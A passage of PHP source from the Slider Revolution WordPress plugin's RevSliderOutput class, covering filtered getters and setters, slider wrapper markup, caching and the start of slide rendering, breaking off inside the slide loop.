/home/ryakenya/public_html/wp-content__4727f99/plugins/revslider/includes/output.class.php
<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/ 
 * @copyright 2022 ThemePunch
 */

if(!defined('ABSPATH')) exit();

global $rs_double_jquery_script;
global $rs_material_icons_css;
global $rs_material_icons_css_parsed;
global $rs_slider_serial;
global $rs_ids_collection;
global $rs_preview_mode;
global $rs_js_collection;
global $rs_css_collection;
global $rs_revicons;
global $rs_youtube_api_loaded;

$rs_double_jquery_script		= false;
$rs_material_icons_css			= false;
$rs_material_icons_css_parsed	= false;
$rs_slider_serial				= 0;
$rs_ids_collection				= array();
$rs_preview_mode				= false;
$rs_js_collection				= array('revapi' => array(), 'js' => array(), 'minimal' => '');
$rs_css_collection				= array();
$rs_revicons					= false;
$rs_youtube_api_loaded			= false;

class RevSliderOutput extends RevSliderFunctions {
	
	//START transfered from the layer add process and some of these are only filled if putSlides() is called
	public $zIndex			= 1;
	//public $in_class_usage	= array();
	public $enabled_sizes	= array();
	public $adv_resp_sizes	= array();
	public $icon_sets		= array();//RevSliderBase::set_icon_sets(array());
	public $container_mode	= '';
	public $row_zindex		= 0;
	//END transfered from the layer add process and some of these are only filled if putSlides() is called
	
	/**
	 * variables for error handling, to know if we need to close the div or not
	 **/
	public $rs_module_wrap_open		 = false;
	public $rs_module_open			 = false;
	public $rs_module_wrap_closed	 = false;
	public $rs_module_closed		 = false;
	public $rs_custom_navigation_css = '';
	
	/**
	 * ShortCode based Global Values 
	 * usage : Is Module to emebed as Modal ?  
	 * sc_layout : overwrite original module Layout, 
	 * offset : padding and margin of the wrapping Module
	 * modal : Modal Settings
	 **/
	public $usage		= '';
	public $sc_layout	= '';
	public $offset		= '';
	public $modal		= '';	
	public $ajax_loaded = false;

	/**
	 * if set to true, needed js variables for frontend actions will be added
	 **/
	public $frontend_action = false;
	
	/**
	 * holds the layer depth, used for having a more structured HTML
	 **/
	public $layer_depth = '';
	
	/**
	 * holds the current slider
	 **/
	public $slider;
	
	/**
	 * holds the current slide
	 **/
	private $slide;
	
	/**
	 * holds the current slides of the slider
	 **/
	private $slides;
	
	/**
	 * holds the current layers of a slide
	 **/
	private $layers;
	
	/**
	 * holds the current used layer
	 **/
	private $layer;
	
	/**
	 * holds the current slider id
	 **/
	private $slider_id = 0;
	
	/**
	 * holds the current layers of a slide
	 * @before: RevSliderOutput::$slideID
	 **/
	private $slide_id;
	
	/**
	 * holds the current layer unique id
	 **/
	private $uid;
	
	/**
	 * if set, these will be pushed inside the Slider
	 * @before: RevSliderOutput::$gal_ids
	 **/
	public $gallery_ids = array();
	
	/**
	 * holds all the hover css in ids of the layers
	 **/
	public $hover_css = array();
	
	/**
	 * holds all the classes, that are already used in layers
	 * @before: RevSliderOutput::$class_include
	 **/
	public $classes = array();
	
	/**
	 * holds all additions to the current layer getting printed
	 **/
	public $layer_additions = array();
	
	/**
	 * holds if static layers should be done
	 **/
	private $do_static = true;
	
	/**
	 * if set, the Slider will only be added if the current page/post meets what is into this variable
	 * @before: RevSliderOutput::$putIn
	 **/
	public $add_to = '';
	
	/**
	 * if set to true we are in preview mode
	 * @before: RevSliderOutput::$previewMode
	 **/
	private $preview_mode = false;
	
	/**
	 * if set, the Slider will take changes on what is added to this array
	 * @before: RevSliderOutput::$settings
	 **/
	public $custom_settings = array();
	
	/**
	 * if set, the Slider will take changes on the selected skin
	 **/
	public $custom_skin = '';
	
	/**
	 * holds the skin data to change layers based on
	 **/
	public $custom_skin_data = array();
	
	/**
	 * if set to true the markup will be exported
	 * @before: RevSliderOutput::$markup_export
	 **/
	private $markup_export = false;
	
	/**
	 * if set, the Slider will take order changes on the order in this array
	 * @before: RevSliderOutput::$order
	 **/
	public $custom_order = array();
	
	/**
	 * set if only published will be used
	 **/
	private $only_published = true;
	
	/**
	 * holds the number index of all slides
	 * @before: RevSliderOutput::$slidesNumIndex
	 **/
	private $slides_num_index;
	
	/**
	 * if set to true tells the plugin that there is only one Slide from now on
	 * @before: RevSliderOutput::$hasOnlyOneSlide;
	 **/
	private $is_single_slide = false;
	
	/**
	 * holds all the static slide data including layers
	 **/
	private $static_slide = array();
	
	/**
	 * set the language here, used for WPML
	 * @before: RevSliderOutput::$sliderLang
	 **/
	private $language = 'all';
	
	/**
	 * holds the current JavaScript revapi
	 **/
	private $revapi;

	/**
	 * holds the current html id
	 **/
	private $html_id;
	
	/**
	 * holds the current html id
	 **/
	private $orig_html_id = false;
	
	/**
	 * knows if we are currently processing a static slide
	 **/
	private $is_static = false;
	
	/**
	 * holds the inline js for adding it to footer
	 **/
	//private $rev_inline_js = '';
	
	/**
	 * holds slider that are loaded for modal cover checks
	 **/
	private $modal_sliders = array();
	
	/**
	 * holds easings that the slider is using
	 **/
	private $easings = array();
	
	/**
	 * holds easings that the slider is using
	 **/
	private $caching = false;
	
	/**
	 * defines if javascript is changed as its pushed to the footer or not
	 **/
	private $full_js = true;

	/**
	 * defines if this slider has in any way a youtube layer or slide that is used
	 **/
	private $youtube_exists = false;

	/**
	 * defines if the exception should be visible to the visitor or only in the console
	 **/
	private $console_exception = false;
	
	/**
	 * stands for JavaScript Tab Addition and defines how many tabs there should be added to the JavaScript prints to make everything better looking in HTML
	 **/
	private $JTA = RS_T3;

	/**
	 * variables for get_frames
	 */
	private $_base;
	private $_split;
	private $_mask;
	private $_sfx;
	private $_reverse;
	private $hv;
	
	/**
	 * START: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY
	 **/
	
	/**
	 * old version of check_add_to()
	 **/
	public static function isPutIn($empty_is_false = false){
		$o = new RevSliderOutput();
		return $o->check_add_to($empty_is_false);
	}
	
	/**
	 * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY
	 **/
	 
	/**
	 * pre init the static slide
	 */
	public function __construct(){
		parent::__construct();
		$this->static_slide = new RevSliderSlide();
		$this->init_get_frames_vars();
	}
	
	/**
	 * set the current slider_id
	 */
	public function set_slider_id($sid){
		$this->slider_id = apply_filters('revslider_set_slider_id', $sid, $this);
	}
	
	/**
	 * set the add_to variable
	 */
	public function set_add_to($add_to) {
		$this->add_to = apply_filters('revslider_set_add_to', $add_to, $this);
	}
	
	/**
	 * get the add_to variable
	 */
	public function get_add_to(){
		return apply_filters('revslider_get_add_to', trim(strtolower($this->add_to)), $this);
	}
	
	/**
	 * set the slider manually
	 * @since: 6.0
	 */
	public function set_slider($slider){
		$this->slider = apply_filters('revslider_set_slider', $slider, $this);
	}
	
	/**
	 * get the last slider after the output
	 * @before: RevSliderOutput::getSlider()
	 */
	public function get_slider(){
		return apply_filters('revslider_get_slider', $this->slider, $this);
	}
	
	/**
	 * get the current slider_id
	 */
	public function get_slider_id(){
		return apply_filters('revslider_get_slider_id', $this->slider_id, $this);
	}
	
	/**
	 * get the current revapi for JavaScript
	 */
	public function get_revapi(){
		return $this->revapi;
	}
	
	
	/**
	 * set the current revapi for JavaScript
	 */
	public function set_revapi($revapi){
		$this->revapi = $revapi;
	}
	
	/**
	 * set the HTML ID
	 * @since 6.1.6: added option to check for duplications
	 */
	public function set_html_id($html_id, $check_for_duplication = true){
		global $rs_ids_collection;
		if($check_for_duplication){ //check if it already exists, if yes change it and add attribute for console output
			if(in_array($html_id, $rs_ids_collection, true)){ 
				$this->orig_html_id = $html_id; //set the original_html_id to push a console message
				$i = 0;
				do{ $i++; }while(in_array($html_id.'_'.$i, $rs_ids_collection, true));
				$html_id .= '_'.$i;
				
			}
		}
		if(!in_array($html_id, $rs_ids_collection)) $rs_ids_collection[] = $html_id;
	
		$this->html_id = apply_filters('revslider_set_html_id', $html_id, $this);
	}
	
	/**
	 * set slide slide_id
	 */
	public function set_slide_id($slide_id){
		$this->slide_id = apply_filters('revslider_set_slide_id', $slide_id, $this);
	}
	
	/**
	 * set the slides so that it can be used from anywhere
	 **/
	public function set_current_slides($slides){
		$this->slides = $slides;
	}
	
	/**
	 * get the slides so that it can be used from anywhere
	 **/
	public function get_current_slides(){
		return $this->slides;
	}
	
	/**
	 * get slide slide_id
	 */
	public function get_slide_id(){
		return apply_filters('revslider_get_slide_id', $this->slide_id, $this);
	}
	
	/**
	 * set slide layers
	 */
	public function set_layers($layers){
		$this->layers = apply_filters('revslider_set_layers', $layers, $this);
	}
	
	/**
	 * get slide layers
	 */
	public function get_layers(){
		return apply_filters('revslider_get_layers', $this->layers, $this);
	}
	
	/**
	 * set slide layer
	 */
	public function set_layer($layer){
		$this->layer = apply_filters('revslider_set_layer', $layer, $this);
	}
	
	/**
	 * get slide layer
	 */
	public function get_layer(){
		return apply_filters('revslider_get_layer', $this->layer, $this);
	}
	
	/**
	 * get the HTML ID
	 * @before: RevSliderOutput::getSliderHtmlID
	 */
	public function get_html_id($raw = true){
		$html_id = $this->html_id;
		$html_id = (!$raw) ? preg_replace("/[^a-zA-Z0-9]/", "", $html_id) : $html_id;
		
		return apply_filters('revslider_get_html_id', $html_id, $this, $raw);
	}
	
	/**
	 * set static_slide data and layers
	 */
	public function set_static_slide($slide){
		$this->static_slide = apply_filters('revslider_set_static_slide', $slide, $this);
	}
	
	/**
	 * get static_slide data and layers
	 */
	public function get_static_slide(){		
		return apply_filters('revslider_get_static_slide', $this->static_slide, $this);
	}
	
	/**
	 * get do_static
	 */
	public function get_do_static(){
		return apply_filters('revslider_get_do_static_layers', $this->do_static, $this);
	}
	
	/**
	 * set the output into ajax loaded mode
	 * so that i.e. fonts are pushed into footer
	 */
	public function set_ajax_loaded(){
		$this->ajax_loaded = true;
	}
	
	/**
	 * get current layer depth
	 */
	public function ld(){
		return $this->layer_depth;
	}
	
	/**
	 * increase current layer depth
	 * this is only for the HTML looks
	 */
	public function increase_layer_depth(){
		$this->layer_depth .= '	';
	}
	
	/**
	 * decrease current layer depth
	 * this is only for the HTML looks
	 */
	public function decrease_layer_depth(){
		if(!empty($this->layer_depth)){
			$this->layer_depth =  substr($this->layer_depth, 0, -1);
		}
	}
	
	/**
	 * set the custom settings
	 */
	public function set_custom_settings($settings){
		$settings = preg_replace('/\\\\u([0-9a-fA-F]{4})/', '', $settings);
		$settings = ($settings !== '' && !is_array($settings)) ? json_decode(str_replace(array('({', '})', "'"), array('[', ']', '"'), wp_kses_post($settings)), true) : $settings;
		
		$this->custom_settings = apply_filters('revslider_set_custom_settings', $settings, $this);
	}
	
	/**
	 * get the custom settings
	 */
	public function get_custom_settings(){
		return apply_filters('revslider_get_custom_settings', $this->custom_settings, $this);
	}
	
	/**
	 * set the custom settings
	 */
	public function set_custom_skin($skin){
		$this->custom_skin = apply_filters('revslider_set_custom_skin', $skin, $this);
	}
	
	/**
	 * get the custom settings
	 */
	public function get_custom_skin(){
		return apply_filters('revslider_get_custom_skin', $this->custom_skin, $this);
	}
	
	/**
	 * set the current layer unique id
	 **/
	public function set_layer_unique_id(){
		$layer	= $this->get_layer();
		$uid	= $this->get_val($layer, 'uid');
		
		if($uid == '' && $uid !== 0 && $uid !== '0' ) $uid = $this->zIndex;
		
		$this->uid = apply_filters('revslider_set_layer_unique_id', $uid, $layer, $this);
	}
	
	/**
	 * get the current layer unique id
	 **/
	public function get_layer_unique_id(){		
		return apply_filters('revslider_get_layer_unique_id', $this->uid, $this);
	}
	
	/**
	 * get the preview
	 */
	public function get_preview_mode(){
		return apply_filters('revslider_get_preview_mode', $this->preview_mode, $this);
	}
	
	/**
	 * set the preview_mode
	 */
	public function set_preview_mode($preview_mode){
		global $rs_preview_mode;
		$this->preview_mode = apply_filters('revslider_set_preview_mode', $preview_mode, $this);
		$rs_preview_mode = $this->preview_mode;
	}
	
	/**
	 * set the markup_export variable
	 */
	public function set_markup_export($markup_export){
		$this->markup_export = apply_filters('revslider_set_markup_export', $markup_export, $this);
	}
	
	/**
	 * get the markup_export variable
	 */
	public function get_markup_export(){
		return apply_filters('revslider_get_markup_export', $this->markup_export, $this);
	}
	
	/**
	 * get the custom order
	 */
	public function get_custom_order(){
		return apply_filters('revslider_get_custom_order', $this->custom_order, $this);
	}
	
	/**
	 * get the language
	 */
	public function get_language(){
		return apply_filters('revslider_get_language', $this->language, $this);
	}
	
	/**
	 * set the language
	 */
	public function change_language($language){
		$this->language = apply_filters('revslider_change_language', $language, $this);
	}
	
	/**
	 * set the custom order
	 */
	public function set_custom_order($order){
		$order = ($order !== '' && !is_array($order)) ? explode(',', $order) : $order;
		
		$this->custom_order = apply_filters('revslider_set_custom_settings', $order, $this);
	}
	
	/**
	 * set published
	 */
	public function set_only_published($published){
		$this->only_published = apply_filters('revslider_set_published', $published, $this);
	}
	
	/**
	 * get published
	 */
	public function get_only_published(){
		return apply_filters('revslider_get_published', $this->only_published);
	}
	
	/**
	 * set slides_num_index
	 */
	public function set_slides_num_index($index){
		$this->slides_num_index = apply_filters('revslider_set_slides_num_index', $index, $this);
	}
	
	/**
	 * get slides_num_index
	 */
	public function get_slides_num_index(){
		return apply_filters('revslider_get_slides_num_index', $this->slides_num_index, $this);
	}
	
	/**
	 * set the gallery ids variable
	 * @before: RevSliderOutput::did not exist
	 */
	public function set_gallery_ids($ids){
		$this->gallery_ids = apply_filters('revslider_set_gallery_ids', $ids, $this);
	}
	
	/**
	 * get the gallery ids variable
	 * @before: RevSliderOutput::did not exist
	 */
	public function get_gallery_ids(){
		return apply_filters('revslider_get_gallery_ids', $this->gallery_ids, $this);
	}

	
	/**
	 * set is_single_slide
	 */
	public function set_is_single_slide($single){
		$this->is_single_slide = apply_filters('revslider_set_is_single_slide', $single, $this);
	}
	
	/**
	 * get is_single_slide
	 */
	public function get_is_single_slide(){
		return apply_filters('revslider_get_is_single_slide', $this->is_single_slide, $this);
	}
	
	/**
	 * set hover css
	 */
	public function set_hover_css($css){
		if(!empty($css)){
			foreach($css as $id => $_css){
				$this->hover_css[$id] = $_css;
			}
		}
	}
	
	/**
	 * get is_single_slide
	 */
	public function get_hover_css(){
		return $this->hover_css;
	}
	
	/**
	 * set slide data and layers
	 */
	public function set_slide($slide){
		$this->slide = apply_filters('revslider_set_slide', $slide, $this);
	}
	
	/**
	 * get slide data and layers
	 */
	public function get_slide(){
		return apply_filters('revslider_get_slide', $this->slide, $this);
	}
	
	/**
	 * add the Slider Revolution on to the HTML stage
	 * @before: RevSliderOutput::putSlider();
	 */
	public function add_slider_to_stage($sid, $usage = '', $layout = '', $offset = '', $modal = ''){
		$this->usage	 = $usage;
		$this->sc_layout = $layout;
		$this->offset	 = $offset;
		$this->modal	 = $modal;

		do_action('revslider_add_slider_to_stage_pre', $sid, $this);
		
		if(!$this->check_add_to()) return false;
		
		$locale = setlocale(LC_NUMERIC, 0);
		if($locale !== 'C') setlocale(LC_NUMERIC, 'C');

		$this->set_slider_id($sid);
		$this->add_slider_base();
		
		if($locale !== 'C') setlocale(LC_NUMERIC, $locale);

		do_action('revslider_add_slider_to_stage_post', $sid, $this);

		return $this->get_slider();
	}
	
	/**
	 * adds the Slider Basis
	 * @before: RevSliderOutput::putSliderBase();
	 */
	public function add_slider_base(){
		try{
			global $rs_slider_serial, $rs_js_collection, $rs_wmpl, $rs_loaded_by_editor, $rs_preview_mode;
			$cache = RevSliderGlobals::instance()->get('RevSliderCache');
			
			do_action('revslider_add_slider_base_pre', $this);
			
			$rs_slider_serial++; //set the serial +1, so that if we have the slider two times, it has different ID's for sure
			
			if(empty($this->slider)){
				$this->slider = new RevSliderSlider();
				$this->slider->init_by_mixed($this->get_slider_id());
			}
			
			/**
			 * as it is now needed, check if an update needs to be done
			 **/
			if(version_compare($this->get_val($this->slider, array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){
				$upd = new RevSliderPluginUpdate();
				$upd->upgrade_slider_to_latest($this->slider);
				$this->slider = new RevSliderSlider();
				$this->slider->init_by_mixed($this->get_slider_id());
			}
			
			$this->slider = apply_filters('revslider_add_slider_base', $this->slider);
			
			//set slider language
			if($this->get_preview_mode() == false){
				$lang = $rs_wmpl->get_slider_language($this->slider);
				$this->change_language($lang);
			}
			
			//check if we are mobile and the slider needs to be printed or not
			if($this->slider->get_param(array('general', 'disableOnMobile'), false) === true && wp_is_mobile()) return false;

			if($this->slider->get_param('pakps', false) === true && $this->_truefalse(get_option('revslider-valid', 'false')) === false && $rs_preview_mode === false && $this->get_preview_mode() === false){
				$this->console_exception = true;
				$this->throw_error(__('Please register the Slider Revolution plugin to use premium templates.', 'revslider')); // return false;
			}
			
			//the initial id can be an alias, so reset the id now
			$sid = $this->slider->get_id();
			$this->set_slider_id($sid);
			
			//check if caching should be active or not
			$can_do_cache	= ($this->get_preview_mode() === false && $cache->is_supported_type($this->slider->get_param('sourcetype', 'gallery'))) ? true : false;
			$this->caching	= ($cache->is_enabled() && $can_do_cache) ? true : false;
			$do_cache		= $this->slider->get_param(array('general', 'icache'), 'default');
			$this->caching	= ($do_cache === 'on' && $can_do_cache) ? true : $this->caching;
			$this->caching	= ($do_cache === 'off') ? false : $this->caching;
			
			//add caching if its enabled
			if($this->caching){
				$transient	= $this->get_transient_alias();
				$content	= get_transient($transient);
				if($content !== false){
					$content = json_decode($content, true);
					if(isset($content['html'])){
						echo $cache->do_html_changes($content['html']);
						
						$cache->do_additions($this->get_val($content, 'addition', array()), $this);
						return true;
					}
				}
			}
			
			$this->modify_settings();
			if($this->get_preview_mode()) $this->modify_preview_mode_settings();
			
			$this->set_fonts();
			
			//add html before slider markup is written
			$html_before_slider	= '';
			$markup_export		= $this->get_markup_export();
			
			if($this->ajax_loaded === true || $this->get_markup_export() || $rs_loaded_by_editor === true){ //if true, then we are loaded by ajax
				$html_before_slider .= ($markup_export === true) ? '<!-- FONT -->' : '';
				$html_before_slider .= $this->print_clean_font_import();
				$html_before_slider .= ($markup_export === true) ? '<!-- /FONT -->' : '';
			}
			
			//check if scripts should be added to the body
			if($this->slider->get_param(array('troubleshooting', 'jsInBody'), false) == true && $this->ajax_loaded === false){
				$html_before_slider .= ($markup_export === true) ? '<!-- SCRIPTINCLUDE -->' : '';
				$html_before_slider .= $this->add_javascript_to_footer();
				$html_before_slider .= ($markup_export === true) ? '<!-- /SCRIPTINCLUDE -->' : '';
			}
			
			$slider_id = $this->slider->get_param('id', '');
			
			$html_id = (trim($slider_id) !== '') ? $slider_id : 'rev_slider_'.$sid.'_'.$rs_slider_serial;
			$revapi = (in_array('revapi'.$sid, $rs_js_collection['revapi'], true)) ? 'revapi'.$sid.'_'.$rs_slider_serial : 'revapi'.$sid;
			$this->set_html_id($html_id);
			$this->set_revapi($revapi);
			
			ob_start();
			echo $html_before_slider."\n";
			echo $this->get_slider_wrapper_div();
			
			echo $this->get_slider_div();
			echo $this->get_slides();
			//echo $this->get_timer_bar();
			
			echo $this->close_slider_div();
			
			$this->add_js();
			$this->add_style_hover();
			
			echo $this->add_custom_navigation_css();
			echo $this->get_material_icons_css();
			echo $this->add_youtube_api_html();
			echo $this->close_slider_wrapper_div();
			echo $this->add_unfloat_html();

			$this->add_modal_font_icons();
			
			do_action('revslider_add_slider_base_post', $this);
			
			$content = ob_get_contents();
			ob_clean();
			ob_end_clean();
			
			if($this->caching){
				$this->add_slider_transient($transient, $content);
			}
			
			echo $content;
		}catch(Exception $e){
			$message = $e->getMessage();
			
			if($this->console_exception){
				$this->print_error_message_console($message);
			}else{
				$this->print_error_message($message);
			}

		}
	}
	
	/**
	 * creates the wrapping div container for Sliders
	 **/
	public function get_slider_wrapper_div(){
		$type		= $this->slider->get_param('layouttype');
		$position	= 'center'; //$this->slider->get_param(array('layout', 'position', 'align'), 'center');
		$bg_color	= esc_attr(trim($this->slider->get_param(array('layout', 'bg', 'color'))));
		$max_width	= $this->slider->get_param(array('size', 'maxWidth'), '0');
		$class		= $this->slider->get_param('wrapperclass','');
		$class		.= ($this->usage === 'modal') ? ' rs-modal ' : '';
		$style		= '';
		
		//add background color
		$style .= (!empty($bg_color)) ? 'background:'.RSColorpicker::get($bg_color).';' : '';
		$style .= 'padding:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'padding'), '0')).';';
		
		if($type != 'fullscreen'){
			switch($position){
				case 'center':
				default:
					$style .= 'margin:0px auto;';
				break;
				case 'left':
					$style .= 'float:left;';
				break;
				case 'right':
					$style .= 'float:right;';
				break;
			}
			
			if($position != 'center'){
				$ma_l = $this->slider->get_param(array('layout', 'position', 'marginLeft'), '0');
				$ma_r = $this->slider->get_param(array('layout', 'position', 'marginRight'), '0');
				$style .= ($ma_l !== '') ? 'margin-left:'.esc_attr($ma_l).';' : '';
				$style .= ($ma_r !== '') ? 'margin-right:'.esc_attr($ma_r).';' : '';
			}
			
			$ma_t = $this->slider->get_param(array('layout', 'position', 'marginTop'), '0');
			$ma_b = $this->slider->get_param(array('layout', 'position', 'marginBottom'), '0');
			
			$style .= ($ma_t !== '') ? 'margin-top:'.esc_attr($ma_t).';' : '';
			$style .= ($ma_b !== '') ? 'margin-bottom:'.esc_attr($ma_b).';' : '';
		}
		
		//add background image (banner style)
		if($this->slider->get_param(array('layout', 'bg', 'useImage'), false) == true){
			$bg_img_id = esc_attr($this->slider->get_param(array('layout', 'bg', 'imageId')));
			$bg_img_type = esc_attr($this->slider->get_param(array('layout', 'bg', 'imageSourceType'), 'full'));
			$bg_img = esc_attr($this->slider->get_param(array('layout', 'bg', 'image')));
			if(empty($bg_img_id) || intval($bg_img_id) == 0){
				$bg_img_id	= $this->get_image_id_by_url($bg_img);
			}
			if($bg_img_type !== 'full' && $bg_img_id !== false && !empty($bg_img_id)){
				$_bg_img = wp_get_attachment_image_src($bg_img_id, $bg_img_type);
				$bg_img = ($_bg_img !== false) ? $_bg_img[0] : $bg_img;
			}
			
			$bg_img = $this->check_valid_image($bg_img);
			
			if($bg_img !== false){
				$style .= 'background-image:url('.$bg_img.');';
				$style .= 'background-repeat:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'repeat'), 'no-repeat')).';'; //$this->slider->get_param(array('def', 'background', 'repeat'), 'no-repeat')
				$style .= 'background-size:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'fit'), 'cover')).';'; //$this->slider->get_param(array('def', 'background', 'fit'), 'cover')
				$style .= 'background-position:'.esc_attr($this->slider->get_param(array('layout', 'bg', 'position'), 'center center')).';'; //$this->slider->get_param(array('def', 'background', 'position'), 'center center')
			}
		}
		
		if(!in_array($type, array('responsitive', 'fixed', 'auto', 'fullwidth', 'fullscreen'), true)){
			$style .= 'height:'.$this->slider->get_param(array('size', 'height', 'd'), 900).';';
			$style .= 'width:'.$this->slider->get_param(array('size', 'width', 'd'), 1240).';';
		}
		
		if(!in_array($max_width, array('0', 0, '0px', '0%'), true) && $type == 'auto'){
			if(intval($max_width) > 0 && strpos($max_width, 'px') === false && strpos($max_width, '%') === false) $max_width .= 'px';
			$style .= (empty($max_width)) ? '' : 'max-width:'. $max_width.';';
		}

		$fixedOnTop = array(
			'v' => $this->slider->get_param(array('layout', 'position', 'fixedOnTop'), false),
			'd' => false
		);

		if($fixedOnTop['v'] === true){
			$style .= 'position:fixed;top:0px;height:0px';
		}
		
		$r = RS_T3.'<!-- START '.esc_html(str_replace('-', '', $this->slider->get_title())).' REVOLUTION SLIDER '. RS_REVISION .' --><p class="rs-p-wp-fix"></p>'."\n";
		$r .= RS_T3.'<rs-module-wrap';
		$this->rs_module_wrap_open = true;
		$r .= ' id="'.$this->get_html_id().'_wrapper"';
		$r .= (!empty($class)) ? ' class="'.trim($class).'"' : '';
		if((is_super_admin() || is_admin_bar_showing()) && current_user_can('edit_theme_options')){
			$r .= ' data-alias="'.esc_attr($this->slider->get_alias()).'"';
		}
		
		$r .= ' data-source="'.$this->slider->get_param('sourcetype').'"';
		$show_alternate	= $this->slider->get_param(array('troubleshooting', 'alternateImageType'), 'off');
		if($show_alternate !== 'off'){
			$show_alternate_image = $this->slider->get_param(array('troubleshooting', 'alternateURL'), '');
			$r .= ' data-aimg="'.$show_alternate_image.'" ';
			$r .= ($show_alternate == 'mobile' || $show_alternate == 'mobile-ie8') ? ' data-amobile="enabled" ' : '';
			$r .= ($show_alternate == 'mobile-ie8' || $show_alternate == 'ie8') ? ' data-aie8="enabled" ' : '';
		}
				
		$r .= ' style="visibility:hidden;'. $style .'">'."\n";
		
		return apply_filters('revslider_get_slider_wrapper_div', $r, $this);
	}
	
	/**
	 * close the wrapping div container for Sliders
	 **/
	public function close_slider_wrapper_div(){
		$r = RS_T3.'</rs-module-wrap>'."\n";
		$r .= RS_T3.'<!-- END REVOLUTION SLIDER -->'."\n";
		
		$this->rs_module_wrap_closed = true;
		
		return apply_filters('revslider_close_slider_wrapper_div', $r, $this);
	}
	
	
	/**
	 * if wanted, add an unfloating HTML 
	 * @since: 6.0
	 **/
	public function add_unfloat_html(){
		$r = '';
		
		if($this->slider->get_param(array('layout', 'position', 'addClear'), false) === true){
			$r = RS_T3.'<div style="clear:both;display:block;width:100%;height:0px"></div>';
		}
		
		return apply_filters('revslider_add_unfloat_html', $r, $this);
	}
	
	
	/**
	 * check if the youtube api needs to be added, this should only be done once for all sliders
	 * @since: 6.5.7
	 **/
	public function add_youtube_api_html(){
		global $rs_youtube_api_loaded;
		
		$r = '';

		if($rs_youtube_api_loaded === true) return $r; //already loaded
		if($this->youtube_exists !== true) return $r; //no layer or slide used it

		//check global option if enabled
		$gs = $this->get_global_settings();
		if($this->_truefalse($this->get_val($gs, array('script', 'ytapi'), true)) === true){
			$r = RS_T4.'<script src="https://www.youtube.com/iframe_api"></script>'."\n";
			$rs_youtube_api_loaded = true;
		}
		
		return apply_filters('revslider_add_youtube_api_html', $r, $this);
	}
	
	
	/**
	 * adds to font loading to the modal
	 * @since: 6.2.3
	 **/
	public function add_modal_font_icons(){
		if($this->usage === 'modal'){
			RevSliderFront::load_icon_fonts();
		}
	}
	
	
	/**
	 * creates the div container for Sliders
	 **/
	public function get_slider_div(){
		$style = '';
		$class = $this->slider->get_param('class','');
		$class .= ($this->slider->get_param(array('size', 'overflow'), true) == true) ? ' rs-ov-hidden' : '';
		
		if(!in_array($this->slider->get_param('layouttype'), array('responsitive', 'fixed', 'auto', 'fullwidth', 'fullscreen'), true)){
			$style .= 'height:'.$this->slider->get_param(array('size', 'width', 'd'), 1240).';';
			$style .= 'width:'.$this->slider->get_param(array('size', 'height', 'd'), 900).';';
		}
		
		$r = RS_T4.'<rs-module id="'. $this->get_html_id() .'"';
		$this->rs_module_open = true;
		$r .= ($class !== '') ? ' class="'. $class .'"' : '';
		$r .= ' style="'. $style .'"';
		$r .= ' data-version="'. RS_REVISION .'"';
		$r .= '>'."\n";
		
		return apply_filters('revslider_get_slider_div', $r, $this);
	}
	
	/**
	 * close the div container for Sliders
	 **/
	public function close_slider_div(){
		$r = RS_T4.'</rs-module>'."\n";
		
		$this->rs_module_closed = true;
		
		return apply_filters('revslider_close_slider_div', $r, $this);
	}
	
	/**
	 * get the Slides HTML of the Slider
	 **/
	public function get_slides(){
		$layouttype	 = $this->slider->get_param('type', 'standard'); //standard, carousel or hero
		$order		 = $this->get_custom_order();
		$gallery_ids = $this->get_gallery_ids();
		$index		 = 0;
		
		/**
		 * If we are Hero or there was a custom order Set
		 * we need to fetch all Slides, even unpublished in order find one that might be unpublished
		 **/
		if($layouttype == 'hero' || !empty($order)) $this->set_only_published(false);
		
		if($this->get_preview_mode() === true){
			/**
			 * the slides are already set in preview mode (only in slide editor)
			 * in the overview page, get_preview_mode() needs to be false
			 **/
			$slides = $this->get_current_slides();
		}else{
			/**
			 * fetch all slides connected to the Slider (no static slide)
			 **/
			$published = $this->get_only_published();
			$lang	= $this->get_language(); //WPML functionality
			$slides = $this->slider->get_slides_for_output($published, $lang, $gallery_ids);
		}
		
		/**
		 * check if we need to add gallery images
		 * check also for order
		 * these settings are set through shortcode manipulation
		 **/
		if(!empty($gallery_ids) && $gallery_ids[0]){
			$slides = $this->set_gallery_slides($slides);
		}elseif(!empty($order)){
			$slides = $this->order_slides($slides, $order);
		}
		
		/**
		 * set the num index for further onclick events and more
		 **/
		$this->set_slides_num_index($this->slider->get_slide_numbers_by_id(true));
		
		if($layouttype == 'hero' && empty($order) && empty($gallery_ids)){ //we are a hero Slider, show only one Slide!
			$hero	= $this->get_hero_slide($slides);
			$slides = (!empty($hero)) ? array($hero) : array();
		}
		
		/**
		 * remove slides that are listed to be not shown on mobile
		 * will be done only if we are on mobile
		 **/
		$slides = $this->remove_slide_if_mobile($slides);
		
		/**
		 * enable the static layers if we have a static slide
		 * only set if we are not in preview mode
		 * as in preview mode, the static slide was already set
		 * also note, that this only happens in the slide editor.
		 * on the overview page, get_preview_mode will be false
		 **/
		if($this->get_preview_mode() === false){
			$this->enable_static_layers($slides);
		}
		
		/**
		 * if we are now at 0 slides, there will be no more chances to add them
		 * so return back with no slides markup
		 **/
		if(empty($slides)){
			$this->add_no_slides_markup();
			return false;
		}
		
		/**
		 * removes slides before the loop check, as a loop does still not need a navigation
		 * and if loop will be triggered, we will have two slides, so remove it before
		 **/
		if(count($slides) == 1) $this->remove_navigation();
		
		/**
		 * slide loop will duplicate a single slide (if loop is active), so that we have a repeated in and out animation
		 **/
		$slides = ($layouttype !== 'hero' && count($slides) == 1) ? $this->set_slide_loop($slides) : $slides;
		
		/**
		 * set the slides later for static action checking
		 **/
		$this->set_current_slides($slides);
		
		$this->set_general_params_for_layers();
		
		echo apply_filters('revslider_get_slides_pre', RS_T5.'<rs-slides style="overflow: hidden; position: absolute;">'."\n", $this);

		foreach($slides as $slide){
			$this->set_slide($slide);
			
			$this->modify_slide_by_skin();
			$this->modify_layer_settings();
			
			if($this->is_in_timeframe() === false) continue; //could also be moved to earlier and remove slides instead of continue here
			
			$this->add_slide_li_pre($index);
			$this->add_slide_main_image();
			
			$this->set_slide_params_for_layers();
